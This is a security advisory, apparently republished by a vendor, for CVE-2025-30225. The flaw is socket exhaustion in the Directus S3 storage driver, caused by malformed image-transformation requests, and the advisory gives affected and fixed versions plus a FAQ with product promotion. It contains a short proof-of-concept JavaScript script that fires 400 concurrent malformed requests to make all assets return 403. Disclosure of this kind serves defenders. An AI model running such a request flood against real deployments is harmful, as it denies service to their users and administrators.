CVE-2025-30225

When making many malformed transformation requests at once, at some point, all assets are being served as 403.

Details

When I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of sockets held on Agent on NodeHttpHandler was always equal to STORAGE_CLOUD_MAX_SOCKETS making it impossible to have new connections causing assets to be inaccessible.

After looking into this issue on AWS SDK I found that if the stream is requested, it needs to be consumed otherwise will hang forever. And as can be seen here the stream is not consumed, because sharp will throw an error on the invalid arguments. For example ?height=xyz

The timeouts set here had no noticeable effect on tests made.

PoC

This can be easily reproduced with the following steps:

• setup AWS S3 storage
• set STORAGE_CLOUD_MAX_SOCKETS: "50" (this value is lower than default for easier reproduction)
• upload a file to your project
• run this file (Replace the the file ID with the one you just uploaded):

import axios from "axios";

async function start() {
  Array.from({ length: 400 }, (_, i) => {
    axios
      .get(
        "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ"
      )
      .then(() => console.log("✅"))
      .catch((e) =>
        console.log("⛔", e.response?.status || e.code || e.message)
      );
  });
}

start();

Here's an example:

https://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c

This causes denial of assets for all policies of Directus, including Admin and Public.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

CVE-2025-30225 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (12.0.1, 11.5.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-30225? CVE-2025-30225 is a medium-severity allocation of resources without limits or throttling vulnerability in @directus/storage-driver-s3 (npm), affecting versions >= 9.22.0, < 12.0.1. It is fixed in 12.0.1, 11.5.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is CVE-2025-30225? CVE-2025-30225 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2025-30225?
   • @directus/storage-driver-s3 (npm) (versions >= 9.22.0, < 12.0.1)
   • directus (npm) (versions >= 9.22.0, < 11.5.0)
4. Is there a fix for CVE-2025-30225? Yes. CVE-2025-30225 is fixed in 12.0.1, 11.5.0. Upgrade to this version or later.
5. Is CVE-2025-30225 exploitable, and should I be worried? Whether CVE-2025-30225 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-30225 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-30225?
   • Upgrade @directus/storage-driver-s3 to 12.0.1 or later
   • Upgrade directus to 11.5.0 or later

Other vulnerabilities in @directus/storage-driver-s3